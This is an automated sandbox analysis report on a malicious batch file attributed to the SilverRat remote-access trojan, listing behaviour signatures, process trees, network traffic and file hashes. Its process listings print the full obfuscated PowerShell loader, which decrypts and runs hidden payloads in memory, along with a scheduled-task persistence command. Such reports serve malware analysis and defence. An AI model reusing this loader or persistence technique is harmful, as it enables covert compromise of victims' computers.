Analysis Overview
SHA256
580811b722a57857cad8c0482903f904d19c962385c3c38e7b967c54b5233c1e
Threat Level: Known bad
The file main.bat was found to be: Known bad.
Malicious Activity Summary
Silverrat family
SilverRat
Command and Scripting Interpreter: PowerShell
Downloads MZ/PE file
Deletes itself
Checks computer location settings
System Network Configuration Discovery: Internet Connection Discovery
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Modifies registry class
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2025-02-14 19:04
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2025-02-14 19:04
Reported
2025-02-14 19:06
Platform
win7-20241010-en
Max time kernel
122s
Max time network
126s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2296 wrote to memory of 1560 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2296 wrote to memory of 1560 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2296 wrote to memory of 1560 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\main.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0MVusbMHrvBU6XRb0Y0WsigWtxWE3Y3bWkfbGFAFy8c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9PbDB/LHtSqwHpsZH0y+sg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GXEDp=New-Object System.IO.MemoryStream(,$param_var); $IvwWu=New-Object System.IO.MemoryStream; $yGbeo=New-Object System.IO.Compression.GZipStream($GXEDp, [IO.Compression.CompressionMode]::Decompress); $yGbeo.CopyTo($IvwWu); $yGbeo.Dispose(); $GXEDp.Dispose(); $IvwWu.Dispose(); $IvwWu.ToArray();}function execute_function($param_var,$param2_var){ $HRJWp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PJZoG=$HRJWp.EntryPoint; $PJZoG.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\main.bat';$hLteg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\main.bat').Split([Environment]::NewLine);foreach ($PHdGi in $hLteg) { if ($PHdGi.StartsWith(':: ')) { $mfwNv=$PHdGi.Substring(3); break; }}$payloads_var=[string[]]$mfwNv.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
Files
memory/1560-4-0x000007FEF5B3E000-0x000007FEF5B3F000-memory.dmp
memory/1560-5-0x000000001B250000-0x000000001B532000-memory.dmp
memory/1560-6-0x00000000028E0000-0x00000000028E8000-memory.dmp
memory/1560-7-0x000007FEF5880000-0x000007FEF621D000-memory.dmp
memory/1560-8-0x000007FEF5880000-0x000007FEF621D000-memory.dmp
memory/1560-9-0x000007FEF5880000-0x000007FEF621D000-memory.dmp
memory/1560-12-0x000007FEF5880000-0x000007FEF621D000-memory.dmp
memory/1560-11-0x000007FEF5880000-0x000007FEF621D000-memory.dmp
memory/1560-10-0x00000000021AB000-0x0000000002212000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2025-02-14 19:04
Reported
2025-02-14 19:06
Platform
win10v2004-20250207-en
Max time kernel
119s
Max time network
153s
Command Line
Signatures
SilverRat
Silverrat family
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-189444705-1272902858-1305688695-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe | N/A |
System Network Configuration Discovery: Internet Connection Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-189444705-1272902858-1305688695-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\main.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0MVusbMHrvBU6XRb0Y0WsigWtxWE3Y3bWkfbGFAFy8c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9PbDB/LHtSqwHpsZH0y+sg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GXEDp=New-Object System.IO.MemoryStream(,$param_var); $IvwWu=New-Object System.IO.MemoryStream; $yGbeo=New-Object System.IO.Compression.GZipStream($GXEDp, [IO.Compression.CompressionMode]::Decompress); $yGbeo.CopyTo($IvwWu); $yGbeo.Dispose(); $GXEDp.Dispose(); $IvwWu.Dispose(); $IvwWu.ToArray();}function execute_function($param_var,$param2_var){ $HRJWp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PJZoG=$HRJWp.EntryPoint; $PJZoG.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\main.bat';$hLteg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\main.bat').Split([Environment]::NewLine);foreach ($PHdGi in $hLteg) { if ($PHdGi.StartsWith(':: ')) { $mfwNv=$PHdGi.Substring(3); break; }}$payloads_var=[string[]]$mfwNv.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_708_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_708.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NTlFQkZFRUQtOTJFRC00QjVFLThBQUEtODRGQkNDRUJFRjI4fSIgdXNlcmlkPSJ7QUZGNDVGQTUtRTkzMy00NDhBLUFDQTQtM0I5QkUwQzAzMUJFfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7Q0RGMkMzRTktODYxMi00RDI4LTg2M0QtNEE5NTFFREQ1OTU0fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI3IiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDU5MjEiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxODE5ODA3NzAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI0ODA0NzQ4ODM1Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_708.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_708.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0MVusbMHrvBU6XRb0Y0WsigWtxWE3Y3bWkfbGFAFy8c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9PbDB/LHtSqwHpsZH0y+sg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GXEDp=New-Object System.IO.MemoryStream(,$param_var); $IvwWu=New-Object System.IO.MemoryStream; $yGbeo=New-Object System.IO.Compression.GZipStream($GXEDp, [IO.Compression.CompressionMode]::Decompress); $yGbeo.CopyTo($IvwWu); $yGbeo.Dispose(); $GXEDp.Dispose(); $IvwWu.Dispose(); $IvwWu.ToArray();}function execute_function($param_var,$param2_var){ $HRJWp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PJZoG=$HRJWp.EntryPoint; $PJZoG.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_708.bat';$hLteg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_708.bat').Split([Environment]::NewLine);foreach ($PHdGi in $hLteg) { if ($PHdGi.StartsWith(':: ')) { $mfwNv=$PHdGi.Substring(3); break; }}$payloads_var=[string[]]$mfwNv.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | msedge.api.cdp.microsoft.com | udp |
| US | 4.155.164.36:443 | msedge.api.cdp.microsoft.com | tcp |
| GB | 2.18.66.98:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | msedge.b.tlu.dl.delivery.mp.microsoft.com | udp |
| GB | 104.77.160.78:80 | msedge.b.tlu.dl.delivery.mp.microsoft.com | tcp |
| US | 8.8.8.8:53 | msedge.b.tlu.dl.delivery.mp.microsoft.com | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
Files
memory/2232-0-0x00007FFD108E3000-0x00007FFD108E5000-memory.dmp
memory/2232-1-0x0000017734860000-0x0000017734882000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gtsv0lvb.nxl.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2232-11-0x00007FFD108E0000-0x00007FFD113A1000-memory.dmp
memory/2232-12-0x00007FFD108E0000-0x00007FFD113A1000-memory.dmp
memory/2232-13-0x0000017734830000-0x0000017734838000-memory.dmp
memory/2232-14-0x0000017734A90000-0x0000017734AC4000-memory.dmp
memory/4036-16-0x00007FFD108E0000-0x00007FFD113A1000-memory.dmp
memory/4036-23-0x00007FFD108E0000-0x00007FFD113A1000-memory.dmp
memory/4036-27-0x00007FFD108E0000-0x00007FFD113A1000-memory.dmp
memory/4036-30-0x00007FFD108E0000-0x00007FFD113A1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 4c2c9ce16a5dc8f35f0122c55dc69a4c |
| SHA1 | ebe1204c78a1ee40fbe6b1b1252a2429b36f582f |
| SHA256 | 04449f65cc0c64781dcf3a962306ca97e94e1ce9d04deb7c88ea43b1cd2032b4 |
| SHA512 | 7317d73b64d796d936f8815a18b646f6189fc8d54a0abc7324b3184a8ac4dac1ee664e93a4308f4e275f37e7f653517c179b354d9aed5665658feffc681777a7 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Roaming\startup_str_708.vbs
| MD5 | 039d39ef076f07184f1367f6ff09d25f |
| SHA1 | 361f66dfe093398161b5cacd536292da9b3c888a |
| SHA256 | b851fc47473b249e0a5dcf106dad490a648b17fcd7f41639e306afbe7860ba42 |
| SHA512 | c202041a6072322a31b4e346c392fa0ed548326652447639645ab8410434a36623f388f038bc405d5b55263fe1a76bbdf7ca829909359351194567ccda4b9e21 |
C:\Users\Admin\AppData\Roaming\startup_str_708.bat
| MD5 | cb5331c7a8f95d9add92fde9234c3791 |
| SHA1 | b4b6ed8f891323cf4f5b5dba43e1b5a0a73bb78e |
| SHA256 | 580811b722a57857cad8c0482903f904d19c962385c3c38e7b967c54b5233c1e |
| SHA512 | 94682657da3a510c4ae035b8b865d98e0b0ebaccbb45296ac12d66ca74f1ddff659b7bbe9f1ffdb74ca66b015da25bc5a46c0153a64d04c2e71f6963f2a1fac6 |
memory/2232-50-0x00007FFD108E0000-0x00007FFD113A1000-memory.dmp
memory/4392-51-0x000002ADDC890000-0x000002ADDC8A0000-memory.dmp